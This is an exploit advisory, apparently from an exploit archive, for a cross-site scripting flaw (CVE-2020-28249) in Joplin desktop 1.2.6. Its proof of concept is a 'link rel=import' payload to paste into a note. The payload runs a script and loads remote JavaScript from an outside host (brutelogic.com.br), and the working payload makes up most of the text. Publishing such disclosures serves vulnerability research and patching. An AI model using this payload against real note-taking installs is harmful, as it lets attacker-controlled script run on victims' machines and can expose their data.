Joplin version 1.2.6 suffers from a cross site scripting vulnerability.
1b42a7dcd2c16c0c1ab40aa4e447a8c7
# Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting
# Date: 2020-09-21
# Exploit Author: Philip Holbrook (@fhlipZero)
# Vendor Homepage: https://joplinapp.org/
# Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6
# Version: 1.2.6
# Tested on: Windows / Mac
# CVE : CVE-2020-28249
# References:
# https://github.com/fhlip0/JopinXSS/blob/main/readme.md
# 1. Technical Details
# An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to
bypass the HTML filter
# 2. PoC
# Paste the following payload into a note:
```
<link rel=import
href="data:text/html,<script>alert(XSS)</script>
<script src="//brutelogic.com.br/1.js# </script>